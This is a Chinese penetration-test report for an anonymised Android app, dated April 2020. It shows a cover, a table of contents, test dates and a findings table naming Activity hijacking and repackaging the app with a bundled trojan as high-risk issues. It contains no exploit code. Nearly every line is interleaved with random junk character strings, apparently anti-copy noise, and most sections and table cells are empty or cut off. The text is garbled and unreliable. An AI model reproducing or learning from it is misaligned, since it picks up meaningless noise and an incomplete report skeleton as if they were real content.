M8 A; k6 V# x8 b2 v
2 G" W0 x/ p3 I# }3 O" s3 v - D" O& g7 _4 ~ ~- J _
, a0 R1 B( G8 m& R! ]
- \% } H4 R& O; D3 c- b3 D# R7 z9 Y
5 c, b0 v- p# {* y9 ~2 r [% T8 A+ T: B4 [
0 P, c& e0 M8 o* F8 x6 `5 U' s$ X5 T: |! x# T$ v; j
5 V( [) [8 Q! z5 Y: A1 Q! y
$ |- o% _5 V6 _+ }9 R 文档编号: ; A3 Y5 D* W# e
+ H* Y; g1 j4 w5 Y3 w
: A- D5 j7 f) L% b9 V
3 @; S9 X1 Z: c! W0 M' W% `
; u2 @5 u& \% F$ a) u" } c1 k$ g2 O# h; N; I
7 k9 _' t) F+ f; ^
) r0 e0 @% v" x/ X
7 _/ J2 b7 I5 i, J6 {8 y" R; W: O! D; v' C* `1 P; ~4 g& P) U! W: ]
1 d0 B6 v c- _" g$ G) c+ B2 i1 {7 k- h$ g
5 [- a$ R$ X: Z/ j2 m
; e+ `; J% Y& q$ |6 ^. K
0 J) h( q: E ^3 M! v7 V* {
, ?3 U0 {7 w6 d( Y) R- t/ n6 ]' R& j
" ~5 j6 F2 \" d; |; O
; a( I/ F) K: R9 ]4 A6 i; U
6 t8 a2 F- u: v' O9 U+ [
! p& S0 J+ g! B# q! F! T2 \: x
2 H# @9 @. Q! p+ \& @ B
! a- R4 a, n1 H
% Z) ]6 N3 A$ {; q* V8 z, m4 C) Z
& Z- A0 a0 @ b4 O( F* \; q, S
/ z6 c1 L! m6 i) Z/ ^
5 \2 z1 }$ n7 Q8 u% C+ w
9 x( w1 `" u Q |
% |( W! v% _% y . h. M2 a, u/ }2 ]% b
$ {6 q6 U2 l7 c
! F8 }4 \# j# f# N7 ^; r& X" ^5 _! t+ z. T' B6 g
2 d$ R1 O% ]+ K
% t2 j$ p, U! w* e% T
8 B5 n1 r/ E% F3 Y0 m4 M/ P: u2 h- ?1 s
某某某APP渗透测试 / g/ x/ v m; B3 j! z
3 R. g5 ^$ L- m) n
$ _' G+ H0 G {8 m+ H
" C- \. ?8 ^+ N2 A6 m8 X7 U8 M5 {1 U ' |: G0 D1 Z4 O
" Q0 _5 e5 V! a" w( R" H : ^/ B: |4 E, s% t( ~5 C+ T, h; @
- z5 }# o6 R* |; W
# i' h5 e* k4 l; {3 {8 g& ?
4 y7 _8 a$ n' R" s- |
7 X: j/ ?) P9 i! L# ?; }+ `. ~
& S6 [7 `( Z: {
! A9 |/ f1 g$ h! B9 X( P
, O. H( Q' p c/ {- o1 k$ T
* a" L: O) S4 }
& x( v3 e# r' g: |- f3 m
# {* F- h) P% d3 ^, l3 d( B# D2 I2 D
7 C1 r" J& W7 p) b' M1 @# t3 q
' q% _9 f3 O$ `8 l3 U& t* D: y
4 {& G3 o( I; K, f, c, j% k( i* g' }$ r2 c4 G, ^% B9 X: m
1 @* h( P" k3 I( c9 n# ^
" ^1 ^5 m' Q) [7 f2 X" _$ L3 c
& v3 u! f7 R0 L; f! r& P, \& q7 T/ G/ Y: F8 E
. G! z5 H: s" i/ i$ p0 X0 `' x
* n {( l0 o' j2 s, w
+ r/ h( \) B. F. a# _
; b: f4 J* |, M2 U) T
技 术 报 告 , n2 E4 c6 ~$ I4 G! I& p
% J3 P8 w/ o* ~! `2 r
4 Q2 R( a. t; s$ M/ v
' _$ c1 K a# [* c5 f& a 8 W( g2 N; C( G# C& n% B
- i$ f) M; F$ s+ ^
2 R' C* `. A6 d6 N% t2 B+ R5 W- H
( T+ b" g7 o% [: Q* I% K8 j9 \
0 q; i# V p/ {
; _' y W" T0 n, }/ w' e
" l$ F2 c$ a4 E, h7 J' t
. N0 m8 S$ {! Z& o0 `# k1 ]
& K) A& g- o- n' u0 d+ ]- l% e) t1 _ t. f: v" [
, q" d, k1 W9 I4 {$ s% O4 W& h' L2 K
! _1 f1 N8 W* \% U# u n. L, ^
8 ]% {" {( C4 g, f V
7 N, Y4 l0 W: n, _7 H" k9 f 3 c" q1 u: ~; M, O% B" @! t
) p' X5 P" J6 a0 `6 p A2 _/ ^' y
8 r5 s& e' [ B+ ]1 O+ g
8 q. K" ^; ?; z7 b8 ?
, ^* B' L r+ `7 G) g( H/ k; F# m# c% T/ [6 l% M
+ ^% U$ _- A. ~) r# j1 z5 a
% g* G& J6 {0 M- M- c
4 | H% _+ V) i7 d$ M( [2 S( g& r% e: Y4 _6 K9 G% o
' c' d3 z" i' `( @1 D
' b/ K M' ~; P9 ~: A5 ~! {
# m) s. Y/ [) F& f# g k
5 ?* m( L. }4 [) L4 U+ _
# V+ z6 J: x; B: F1 v, u0 F7 C$ q
. s- a; c$ M3 B; E/ [
, P9 N1 n2 ?* p8 W) D0 h' U4 K7 G' \: J; E" K" X6 t9 H7 q, ^# q/ I
" M& B2 K6 v$ P
/ s; ^& ~& }, W0 T, J
! e$ {8 u7 U+ q+ J8 O5 D6 ~$ f/ j$ G- R) A: r+ H
; U; J# X/ }2 D
# n R. C: h/ k' S
; q5 H6 C+ @3 l
, ]8 j# T' l2 K- x
! ~8 ]+ \" f/ d- A. K* H, {! E2 A' Q) ^0 p {! H
+ f$ s) L2 {4 H2 ~- t5 v) H
2 a2 ?. h: c% y
# x1 Q+ l0 ~9 \ o
# @7 o& u1 ^3 O9 N' H) ^
% O3 s3 |( u7 J
" l( |- K7 p: |( F; P
3 B) o0 L2 D9 U9 K8 x% z) T3 Y- S; p4 X7 e0 c2 G
. T+ Q7 _" b8 L% U5 F n
, w1 Y+ z! N: L8 y% Z Z: p7 v6 w3 N1 J
* w5 o) Z& v) C% k
( M0 J2 F; [/ N7 Q$ }. w+ K+ X8 j
, Z* Q/ r9 X5 R8 y+ \2 m3 I% e+ I n: b! `4 {/ D
4 y6 c! J* C$ i/ e. ^ G V, |1 q
1 r; L- i) U+ Y# { x2 S1 c/ Z; G* Y, [& X! N$ ~
- v- ~$ H1 G1 B3 P
1 z- J+ e$ {( `- h 6 w0 _' y! `6 {! a( P
! v* x9 o, j: F
6 L) T5 Q0 L% X" v a* a/ a+ C& g, z( S6 g9 l
6 w2 u+ [/ g J4 @4 o
) ~" t: S$ z4 x/ Y/ q # B9 b# s% ]& S1 {& {/ T, @* S5 Q" \
5 K) X K, }5 a& R9 ], h- Q
% c7 w: K0 X6 [2 x; l! G
' ^4 r; W9 I$ {2 O% N) k
" n6 t9 {! w. }' }% O
7 J: Y' B; V8 w, n/ N 0 l! t" |4 W6 D
2 }% A0 I0 W2 I m( _% W" f- ~! K) j) l) }
5 P2 P3 Z) K5 h" Z9 N t
# z" ^, E3 K; g% I! [5 g
$ d; n1 l' M: y
5 x- U/ i% J! T C- n" R
. A0 `! n+ F; h A7 @+ ^' [& N8 l I( ?$ D" \5 V
% x- e: f# P- s+ y- a5 n& j9 ~
9 U) ^' ^3 ?% N% t2 I
0 \& |( S: p+ N3 W( M
: \8 a6 x* E* Y4 @; i+ M0 u
O6 m% f0 p* o( p1 S% g
2 a8 {( u& I( r# t5 N4 T8 A
( M) z' B# X$ w6 g/ G4 D* a- Y& d2 J$ [0 ^/ C4 t0 O0 S
* Z6 e2 w! Q5 m9 }/ B1 H4 X/ E8 i# l& K' D+ H- C' \/ l& }+ E$ |
7 S/ @1 Z- j( o% m6 p0 r( p6 d: _& _6 t% H- K
4 E: ?" U' e4 n" o8 f% b
$ f" y! }" Q/ K
, @4 O$ d3 D: [7 |% y% k* L. Q' @+ R: ?% `+ v8 O1 s4 e. p
0 h; L1 P0 ~1 J
" @( E" H i% T. w4 J" ]
4 ~7 O/ b+ u- L) m8 A
+ ^& Y6 _+ c& r& a$ L! i" A9 P2 _; | - b: C, y' I: q/ v+ S' \
9 [! }; l; }! @+ C, V
$ P3 f( G- J( |$ {5 J. ?1 M8 N/ l5 x6 E: B
1 G! _! X2 @ ~3 `! d
* y1 K3 h* J |. \
$ n ~& W+ C n& x" h5 [9 J- l. U7 `: ] G4 T' l7 D
二〇二〇年 1 n% j) X/ Z. g' J3 a& c. m
$ ~8 Z# E5 \. A
% l9 a. c! ^+ Z( V8 i
/ V. ~/ F0 H# _2 |8 v" y 3 A8 g" _, n/ w3 J$ \6 [0 t
2 A3 @6 t$ C' E
/ S. ?+ a( ~" }) C" l# r# g% o
( U: N2 ^( p4 S* }" j) E! U- J + o, x! ^) C- Q" M0 Q1 K! Y
F9 S% _7 _( ]) s1 r & n/ O5 R/ C% {+ x6 ?9 v( J
, z2 ?1 B: }) s+ |. t/ M1 a
1 e" Z; ]8 K/ Y6 Q& u( u, }( E2 Y3 P
4 y5 R) v+ r& u: f& K r+ j% m1 z
( i: P: {9 q& l4 x% j: z4 J % V& S i9 ~6 W8 W% m5 I
: X( @2 @" x8 G$ U0 ~8 J" g
+ L% `1 v2 J# t' u
5 H; G; s: {" v+ @0 T : q4 o# Z' q |$ F; L2 j
" T @+ H2 T) u7 a+ w( m2 P8 h
目 录
- o/ k# u6 T$ d! @4 B, _6 ]9 o6 w
1 i6 s: O' R/ o7 r7 s& t! e
( c( ^0 W: d0 r n
5 I' h0 J H6 P( E/ I0 T ; T2 n1 p' ], i8 D1 T. g4 m. R
" G+ [6 q1 C; c- x; `
8 p6 ^1 H( C1 w7 }' S% J4 y$ e6 r, ]7 l1 I
' l9 l3 w* Y6 e, W6 z. [5 D# e3 r# u8 t6 D* p/ I# S
0 g) n$ [3 |7 [) e/ F6 `1 f( z) E4 G
# _. F7 W) T) h" L. o1 |
+ U2 g4 w" t. `1 a# I0 ? t; n
' H( m0 U8 e/ w# B1 F4 _3 M6 h6 A 1 概述... 3
8 I; o0 m @7 X0 s6 m
, W! R5 m4 w. {4 C1 L7 l7 D% R7 R
2 z z: D3 t+ c: A, H1 X5 }
$ z7 V, [' ?+ W% K
: |* c& c2 L" p6 O8 I: W6 W6 U) o2 q8 M2 r
1.2测试时间... 3 1 J" i: ]1 i L2 I( \1 W% P4 b7 a
% o+ c! z) _+ |. v
8 e, j9 \: g8 C" P4 g7 b
9 s2 l4 d' d3 i5 f! v a1 R7 z
" S# O' K# g3 v. X y5 i6 y* R
4 }9 W* S) V# B/ t: h m# s1 \
1.3测试对象... 3 : Q0 t# X2 w, ]3 Z
6 p5 k/ b7 ]. E
, b; h i/ n0 Q/ T
# o. o7 \& B; L
, Q: q) J$ V6 ~+ x R1 E& I) |; Z+ m, Q
1.4测试结果... 3
5 s: Q# l$ s. O, p* s @9 m, X6 z7 o) \5 i. D+ e& y
9 Z7 |( g5 K! Y
4 f1 `3 e% w" d: r
/ [3 D4 X0 O' E ~
9 `1 c, }; {6 X. t( s6 y* Z 2 检测结果... 4
4 v+ c# o, z5 n$ X9 ?' ^0 l, b0 r$ l' Q3 m; v
: Z8 q! t( { b% p. f- }
6 R% b/ T# X8 @0 z
+ F }* n+ p) u- t2 g
5 ~$ J" d( ^5 }1 a+ ~4 w 2.1 某某某... 4
7 _' L/ ]2 L# k- {. n
( \% s7 x* f2 e3 [8 L
0 d8 Q. o8 n! U e; R7 D1 ~ A
+ l3 {% N- ~; A# x8 Z
2 O7 a) A: O" c
$ B3 F$ b" q6 X, F 2.1.1检测目标... 4 % a# T: o$ \- _
6 O3 Z F* W& i# R' k
* P; X8 I6 v/ c- ~! y2 s# C) q
2 P# h5 f% i5 t( E: D
) ]# D# c* n& e% U8 S/ B7 l( ]- H6 X/ g$ n; D: e. @# z
2.1.2检测结果... 4 0 ]/ j- g; i; q/ o/ F8 I
; X5 n3 T' B% D% H: _
$ ]" w$ c' Z4 x6 J* t! v B P
' `. A0 b; `" h' J/ O. A& r' D
" F; u4 o( a& o1 k+ j* I' b2 q j0 _/ v, v
2.1.2.1. 4
3 x% Q, d$ B2 k- g* I2 _
9 m# a! X" ^2 \2 F" k; I+ f3 L% n
4 G d' Z/ |3 I/ C' m, z$ I# F( M, A6 [" ?! I) _! M, m
8 I$ {' Q; y7 i+ t+ L* E6 p7 M5 Q
" W; _, I7 t) K+ Z( c5 @0 @0 v! I* U 2.1.2.2. 6 8 C+ `$ q. E- v; [9 B- I8 p# F
' M$ P! Q( }; k
, l* A+ X. l8 M+ ~' k
- J4 V' y3 \2 N B" ~+ T6 z/ ]
8 A) }5 T# M4 a0 J6 ^" f7 j
. ]5 k7 W+ `$ y/ o# V/ p% E6 u
5 v/ W" r$ O, Y# y7 n: i: X# L( ?1 g; q3 u6 D
* o* c8 A! I6 C# d8 k: g+ X l9 ^8 L5 q L% ?- e! |) M
3 S+ ~* l( Q( @. E4 t
7 X5 t/ p* K- W9 D6 \% D
# G1 m0 }9 w" q% p: ]* ?* Z
$ H7 a" X1 C, C9 l* r% w$ N* @
# I' C2 E: U% t4 Q' N
4 X: e; {' ~5 m# h$ | 5 _& ~. V# D ^: G( [# v
1 v6 x' A* y2 p1 G. i/ P/ u
9 M& S/ s" U& M. s" D$ L3 s0 y
: V$ l, Z# U- J! U 1 概述 8 s0 {3 C2 N/ i! K' L. O9 S
3 a7 Z' g2 P- E
; n y/ P( I' L" g+ X4 d! U- f2 X/ N6 F# t( z7 ]5 x; ~
0 F: B3 V- R+ |$ k8 `6 }) c( x
% K+ L2 m) x! |6 ]0 S 1.2测试时间
* b# z% `' T6 @
0 ?+ y) ^8 x/ F; v2 b
) q% b( h# H- p+ L, \* {( Z$ R, e% H% y# E! M) V2 H8 }# m3 v! O, L
& o/ L a' @% G H% t5 H) E
# {' y$ B7 P9 i! v) ] H: X2 Y" P ) }* ]+ e8 J; h- m5 o
; s+ R0 X2 @7 u. u, }; Q2 f8 l 8 m% |; Z: V4 F) ^. l- ]) D
& ^* J. F' a; }+ s2 Z3 b
* J$ H" a3 L7 `, e$ H( J* _$ r) m8 W; j! q9 l0 [# [
9 g+ R& m7 h7 u- ]# {" E; B
0 U1 {+ s Q& v7 v9 Q- n7 e4 a
渗透测试时间 ; D& d& Y" K( t; V: C5 d/ ^
4 Z' l4 f! {& q' `1 H 4 |" \+ J/ A! R I, s V u
; G' F; _1 ^8 M% A | , [, \3 ]' _# E8 s4 J) X
& I$ I% p9 Q h
7 K2 d3 I# q1 A* t* z/ n, S' k; J
. h" e! \2 T* }; \( H0 P0 ^) R3 h
$ U. Z8 q" T3 r: {
: q4 j3 c) \7 j+ R
~- C V. T6 g! {
. r! }8 {0 \" V' V8 {: I' ?7 x% f $ a# G- ^7 U' N6 X4 G5 o l
. X4 ^2 C( g x1 G 起始时间 - w. ]! R9 E: k. b m
- U* T: u7 \- K9 T: [- J0 L. Q9 i
7 r \' h# r: }
2 c; [( I9 X2 ] | 9 x# [1 J/ U8 h7 Z! H# ^
- W. y8 `4 d. @3 Y! H/ h* O; B4 W ( S, R. T; T0 E+ x- R7 ^ `6 [: K
5 b4 X( v, ]& K1 b! r+ I+ D+ [; ^
! @; x# J, b0 |; ]6 B0 |. B
2 h: v3 f+ e; q2 U8 Y 2020年4月6日
/ Y, W$ l, N% b8 s3 I5 X$ X/ @# Y1 f( I
; V3 q! G- {) }: u2 o8 M2 W- t% a W
|
( Z9 \( C: ]8 g3 Z: N* F5 e# d
5 ?$ T/ {$ s4 y
- o) t# e0 ] r) k. Y; `0 I
$ Z, D5 I3 r: n2 @5 k' ]
! [" } |; e# F1 ~4 L4 J
3 I* I: R$ J; `/ `( D0 ~
2 W4 V1 i Z2 e" [+ e/ W
4 U& }( S" s0 w
" \# O ?+ D& {- j/ q
1 R. `7 u" i1 u 结束时间 . g9 p0 B5 X- p0 F
8 \6 t( F# a) e I
4 T' e5 x' w! U, V+ }! R2 W* v1 ?) ~
| ! `/ o" s2 ]" b' S; ^4 F/ O* w
: G' f+ ~' j$ O. ^2 c
1 b( ]7 k: @' d4 q1 u/ j7 V% o
& r3 T- @8 V8 i6 z & _9 H9 W. r# d; M r7 V6 G
0 X+ g4 t( {5 e. ^1 \$ r/ s/ m- d 2020年4月9日
2 {6 V* b. U& N% _
1 j6 j& K: T# N" i3 F2 b
: B5 A' O- @. h7 I. n+ `7 g, s( w3 ~: D. Z3 u; z/ I4 e
|
) X! w0 c4 K- e; J$ N3 R# J4 y% A# q: ?' \! h# U
0 \2 G, A+ C ^* w
O' `% Y& l1 Y. [6 e3 U! U/ f
7 p' x \2 o# O& \ t9 g' t) ]' ?: r f* C
' m5 a) C/ v; R: }$ T9 |& l7 J# v+ `+ W# I3 @( g! K$ [2 W
0 l% j1 B, K5 G& P h# v* {1 }8 R9 c
1.3测试对象 / ?4 a3 V4 B) X" p
6 k7 P! y! ]0 E, X- w3 T) j
% d3 A4 _. T" Y; I
+ Z$ |' r3 h! ]
1 `: k" i; A) k5 W, `; K6 C( ~$ |: o
9 a" R0 f8 X4 p" ?4 P 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
- E+ i* s! H; c0 f& u
' ]3 S' k$ [) y2 M
( u, ^, y5 M P! Y( \' O1 j8 M, c7 j5 K0 f, N: w
' E: X, d4 u2 J1 Y, A
5 ^# F0 k" B$ _- v* v: k7 M Z& c 表1-1 检测对象 7 L+ f% c" f2 b9 G, N4 e0 w& r
$ w) ~) j8 c4 q: j
N9 ?- v- L4 |2 R
z F2 |$ t2 A! _1 i% k
4 h/ J0 L' D5 Q: y! {
- v' N; A- J# p. K; b* N9 }
! e( H/ m7 [3 k# n1 [5 f3 j' H; ~9 ?2 B. w
7 g1 b' f# P: e; u2 h, z
) C" l x+ c: |
/ h; |$ w. V" t( W
4 z: @; f- G3 c
% c, J; e0 P6 i" ?* l: d/ i
' \+ z, T6 Y7 s3 w6 h1 ^ 序号 . P' f. q' d- r
$ j) h9 z, [. u0 ]6 L/ p
' {, |9 `: r5 C4 _+ i( I; I2 ]$ P, j0 c; v
|
# h1 y U. W8 {5 s$ @2 ~# C0 @0 h5 ]9 ~0 z7 J
9 X2 N4 M" G8 U1 h% R9 |& q4 P) h/ j v N0 H- O4 `
3 M4 V# m3 X2 d4 b4 {/ ]" [' T- y8 F8 I! o/ T# _
测试对象
4 q5 o5 E& ~4 N+ \0 ]1 _( x8 i A( L R/ ^1 u5 ^( x+ v5 c
# ?, N2 W( [) X1 r% R' f2 D, g
: Z( m) O' a2 y) Q0 E" \' j | , y( n& }: C3 X l/ C8 D' O
. w( ]6 D+ ~, A9 c- r6 k3 d. ~ & o8 N$ ^9 M1 ?; k
) c% r" v; N! r' n . j7 t& d9 B" b# r; Q" H: }
, d3 o5 l3 R. l' D) m
测试地址 p: @ k. n4 r5 B* O$ K. z9 @
0 j$ k7 B( ]) J" a c0 ]
( v7 S5 J# `! { J! @
) ?* P2 R y; N; s) c |
. I$ o4 U( c. i3 _9 w3 r" \$ P
! W. @ U6 m5 J) ~+ h% K* l0 b3 c
; y0 u- T) v5 [1 o) x* \* t
3 f! ^8 X, R3 b& ], @# l% ^) D
4 f" v* k* O4 v2 d! a
/ |8 V4 m( k% C' H- m+ K0 G 安全漏洞 + F6 O9 X. V: S4 H( p
: | a. F# n. Q. z0 R
4 Q2 ~. ?6 X) ^2 a4 p* L6 g- k: B
|
/ S! d/ W1 X1 J3 [ J. A0 M1 g/ G$ d( }2 e& G
2 f( R1 t% h' {- g4 V
7 j s* W# u0 |! Y / Z) a. [. O" {( I0 R
8 U8 O* E8 d2 l$ }7 m2 M* g . e# `) {7 @7 y0 K
0 l X# v6 P/ {% u/ o4 l
* }* c: ?! T; D6 n0 X$ A
7 [, o$ \4 I. J* P9 I( `4 l3 L 1 5 o/ L: T8 B( j1 \
; t2 I) \3 T: Y( y4 y* e" |& Z' ~
' E, ]& F5 e6 u- `5 k: x' r) K; G( y1 n4 M# O
|
! ]# O1 s* y- P3 B* v3 R; z0 V$ d& Z8 X2 D L2 x7 q$ Z
) k* a; Y0 W5 X6 V, m' M* ?1 X/ s. J5 t8 M& ^' B/ T( K
, Z; @, d( R9 U6 s4 Z6 Z1 H
* q. O1 X, u) O& }- x 某某某安卓APP
, r2 _5 }6 h5 \+ ~9 `" \8 @+ r2 x( h, A; D; S9 }7 C& a$ C
% T; H# r" Z; K0 v# Q( {# Y# R
|
) D( ^, U/ i- p/ A3 I; r7 R# ?6 y- J) [" A! z# s$ Q, e
2 O) C) w7 J) b8 F+ B6 L
( W$ y& ?( c2 {* K- Y# c
0 w c) E+ o. O6 q T
e a6 s' @# l- X& S7 V& r
6 h4 |, n, w& I$ l5 B* b, o% b; h0 G5 D$ ]4 t! o7 B3 B2 C
2 F/ a) K- ^# A% \& k" |5 [' [0 b, F8 {) }) o, S$ h
| / ^$ V: d( w$ \' D
% @) i" I5 Q3 A - o, v$ ]2 P; x: B2 G+ V% p* V
$ y: H- Q9 y, B6 s5 l
9 r' _/ I- ?. h3 ], |8 k$ n$ X, m" c
2
& ]6 k( |0 i) }$ `/ f1 k) H. Z2 K+ Y$ R$ e* C. n: m
$ v& m( c* ~, P' _, E* H2 E
5 L% |! ~ H: ]
|
1 }5 Q6 s; H" o5 L3 q+ [8 d) b6 Y' F; X
4 p' ?+ t9 l. T1 B0 r' w
; `! e7 b! u- W
6 |% ^2 u5 ?6 S) `$ o2 U$ {" r& k1 X
- |3 |8 ~' @: ]+ E
& s6 y4 b% p1 L- Z : |7 ]$ e6 @2 }7 P! |% \' {* \" |" X
* Q& D9 Q7 v+ ~% `4 |. v
1.4测试结果 ( t% J" A) F5 M1 r* L [
: _$ \# R. J8 o- m& a
0 n, B. s/ j6 q+ N" G. b" N
* K( D/ W% L# _9 u1 f) ~
7 `3 L5 H/ C8 N$ h( I' a0 b2 q U6 H1 O# r- a z, L: j
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: # i9 I l. R/ t* X2 c: \1 K
" U3 H2 P9 } j7 O L
' ~9 ~. U# O5 R X$ ~# c4 ?
! f/ F4 v* H/ b) g . G; A& J# H# k+ `" A
t* Z$ g2 _) i7 j) c
/ d) B7 K! J; {; u }; e
/ J! |7 r! y/ ]: t
S7 ~) {; ]4 X% I
9 C/ M2 x, c: k# s; H4 M2 H
; v- }8 L/ t' C2 l) D9 M
: I0 N& O' p$ H4 ~ t1 _8 h R $ D2 t% ?. ]6 G
$ F: c/ Q' N. Y3 D& B
9 _/ s& G! W" ?/ @2 k1 v
8 Z: X% D# p K/ \* v* n ; _ \0 e5 _7 p/ [9 O
% b" {3 G, ^2 p Q
6 P8 w" r1 Y) Q/ K; E3 i7 ^# j' _
2 j5 X3 h1 i8 `/ G% L; a8 l' d
9 R+ j) y* G1 u; {% \9 z 序号 1 o. w& n* |* A- T5 P
$ t7 b- G* U' K6 c
( ?! E9 y- W" K; R( j( K+ p6 o$ J( D; D6 M% M4 C: e2 V
| 9 y7 B2 B2 l5 e/ L3 |# i( I
; L; |& N' [( ~ 1 q: H- |& s D6 l Q
% ^3 w- s4 r% @7 _: a6 T 1 u; X. Y# ]3 ~; u* H. o
! h0 P0 u) A& w1 k2 z; |
系统名称
- M6 S1 K1 c! }( y
7 c! | c6 V* \+ `) t # `; V4 y s, t1 A9 o, H1 l" g. |* h
* F# O( `- o# }- g7 s
|
' U9 Q( v( J' c4 `8 e
: D6 A5 k4 w- }# V2 x8 y7 t. g ' n8 ?$ N; p4 E0 T; t- |. C8 h; ?2 W
' u0 w O0 T. ~$ j
' @/ q2 M% o' R; Y0 d5 }/ t3 }: e B& D& o/ Y+ l2 O* e
漏洞名称 + i L6 V: b& m7 r- C
) H0 d' G5 [5 W5 o* q# |& k+ E, x 6 x" ]/ L9 I9 n/ c3 b4 e
4 V: G5 l& D( f |
) T* v1 K' V0 Z9 C
2 B; V9 f: ^* `; _# n6 f2 x! e3 G! H : S, A2 i- d) q0 l( Q; B
- Z( k- @) d7 d( x T' V0 u$ M# P
* U" y( w% ^# `
6 j j3 M4 n/ n6 S
漏洞危害 ) H1 o& R$ g: v7 V/ A
) m' l0 _$ i8 l6 i1 U+ x6 u
8 W( Q" g7 s. g. K# X1 B8 {$ G6 Q b4 H5 u
| 2 ]3 d! i" k; L2 ^: i5 N
& W0 @7 |% f7 u, X8 { x. E! \3 `$ N( v& }' w. c
5 F# ]: L9 c& g- T; V$ p/ [
* [5 `2 G! M( d$ w) _6 M9 G. L# v; E% t3 M# Z
修复结果 5 l0 E! N. g8 p: x2 Q6 |# A3 ]6 \
% _$ n" X0 r; m9 G6 L. T9 ]
5 {9 ?2 I2 X. N- }2 m; O6 X0 P: a; H
| * `9 b6 @ l! D1 A
5 z* ^* l& e9 ~8 C* |* H8 n
( @! n7 M6 y. l+ e( g0 o, b' _& w! F
9 ?5 @/ E/ k$ K8 T- \. m" m
" i/ ]6 o! W( ^/ P" ^
" O( W8 k9 ^; Z9 c" y& p/ J4 a # W) s6 \5 Q! S* ^8 f7 c4 W' S6 j
/ E& N2 Q( ^% m, K1 F3 I& u
5 g& S. D9 [8 v) p9 V$ O; @
8 a# b( a4 H1 l) P( d
1
% A" o5 I9 |" D$ f1 ]% S% h% m& Y
: a% A9 Z* C. v& p2 a$ P, m/ r' q: ?' j+ i N% |; ]8 |- Z
|
, o& b! n& F0 ?5 _6 g8 b7 M
2 h& [$ H. S' H- F$ E; V! r
' j p, n1 I! f5 ^8 B
# D3 m$ c# g3 J1 A6 K: c+ S
# w, ~0 [1 H( c, v$ W4 Z/ Y1 H8 L! U( Z% |3 o& ^' d2 }% ?. ^5 Y
某某某某某某APP
1 \, Q8 l0 k, F) G; D5 ?+ n0 n% o: ?. @$ D$ y
# {: q/ Z5 [& Y9 z4 I9 ?+ P
9 H1 ?3 z$ u; k/ Q% r3 r
|
: _7 J! y* V5 ]5 J; e! P: G; m C M0 [" Q! |9 g2 B' W
; }( N6 F; R% o) s2 N1 W+ l9 q' _. |* o: O- F2 O/ y/ l! N
8 |4 q6 V- |. {' E6 [
/ V8 S- T* _3 M4 s Activity 劫持
1 [2 m2 }+ b! [2 x0 |4 p! w6 N. o6 m; U
& W' j' `, ]* O( f T- N1 a# B
) w" m) R) o: {1 s# H8 Q " m6 M' R6 p* ~3 s$ V4 V* i; \
+ S. ?% k+ v" I* O$ y : V4 D l; i2 J, C
; |& ~# P* D, p3 f$ d" F
3 g( ]4 j8 h2 b" Q% |& ~' f
9 P& w- a/ \5 D: n* G) k$ k |
4 F/ q4 y2 }* j# {4 v. Q+ H8 u7 G
2 m: P- j& ]! Q+ r% r3 ?
+ }, `" ^& U1 ?- {/ q8 N7 b6 }4 b6 B9 K+ L! x' J! e9 ]( E* l
: V( l+ |6 t1 I8 h1 ^/ n: [- ]
, t, l+ x! _ U% g 高
' r3 X& L' g3 y+ i) g4 |' f
3 ~3 s, l5 E: [: i) k 9 r+ J& a1 f1 H2 V( W
( v( [* ^+ Z' n2 r" l, m+ R# d/ s |
9 l# }. Y* `! f0 \/ p/ y' u( u4 D
' c; J, [8 k0 W7 x2 D# a7 Q0 B7 ?
( |3 T- ~ h7 G" \
7 x* c3 v9 D' m' K5 O2 Q( D' a t4 j8 G 4 K3 P' x1 b0 ~3 l, J: k, [! R
" h9 w2 A, d7 d; U2 g; F1 r
! \) w$ y* Y6 a' P3 y) I
3 U/ K X5 O( W @1 r, J 0 U' p9 X9 I: _& K
# X1 ~. T6 Q; F$ S$ F0 ^ | ' e/ }% V* z$ {! T* R/ G
& K$ _( L- U% n
% D4 R: e4 X. B- d# p4 |; i5 x* g8 ?) i% F" D4 U
% s6 ]5 K6 h% f6 l: f m) \/ t- l
; a; M Z4 ]: q; m
( s& ^( A! X; T- ?$ m6 P3 f" L1 ]5 q+ }# O f# z6 p9 S
`3 p7 F% C4 a" `2 y3 Y- W% n
9 K# t! ~' ?6 w T) S 2 w0 X2 I: c C% ?6 h
# T# _$ x$ e: ]) W1 S9 e : E: h; ~ e; d' K+ e0 z
7 A6 R8 j3 w3 P/ Z2 R0 D( l% i
|
5 a* L5 G3 j% r
) |4 r" W8 s* r" [0 J! ` . ^$ {: D! |1 m {* l7 Y9 I1 @
9 T B6 {4 m+ U1 e- t: Q
- Y7 M& I1 c% Z) V6 \. T
( |7 n5 \3 c6 \/ s, Q) d
某某某某某某APP
8 @5 Y* a! A2 i
& |9 _- _' H5 \7 ^* P) w : o, l. \) |; u) V3 T2 G m7 S
( A2 E) V' {) N9 V( H+ J$ ?
| 7 Q9 t: U6 u( O* Y, G' w( N
* ` s1 |1 @0 E2 \
2 ~2 \9 J/ v$ A# P6 T* q5 B# z. V2 d* B( b9 r
0 W- f- D) G/ n0 k" J( u( x
& W0 i" t9 C: |7 k3 m' h 反编译二次打包捆绑木马、篡改APP代码 + n0 O* M& t8 b6 c# ]) }
& u, u, a( ~/ b9 f
; T1 v# }3 |. U0 G7 L2 `$ R& X
, t' V/ e$ g! a% U1 r | . W7 }- l- a& N
4 Y5 ^; s" T k2 @' F3 D, J2 k F
9 U ~& Y; c2 x9 t1 o' J# x8 f$ \2 y; d+ ]4 L7 ~7 M
9 ^+ M6 v& w# P, w8 f6 n- m6 a9 G
^/ v* b6 _- F# F% t) M$ k; {3 y 高 3 f9 l) Z( z8 ~# h" j) x3 m) T4 g8 x
& |. l. m: ^' p @3 H
: d9 P- }0 A* x6 i$ v1 O8 Q2 h0 i3 R: S' h% v! ?
|
2 u$ t6 G1 C- W: O" U" [ [ h. g+ K- T3 n) P
* j9 t$ ], U* t' w) J0 { z4 u1 ]) }9 }: Z8 {
" G; l0 F2 p9 s4 g, e2 m4 L8 C& \5 L9 q. e. f' V: W4 T8 d9 l
/ X6 Z* J1 Q) i* H
( C- V# Z* S% z8 r6 }" Q; u( [
2 n' b0 x* b2 i4 ?$ A7 f2 P4 |& |% H
5 p6 F1 y9 I( U4 a
|
+ U" u' U5 E1 B6 C4 M3 @3 _ \' }: k
! ~2 ^+ [1 t4 J, j
2 R* t, ^( {8 U' w+ e. i7 n
7 G) s2 r6 [. \4 b3 |9 I
; g$ q; I; u2 M, T) [$ |0 z& D* P$ s9 H* U- c
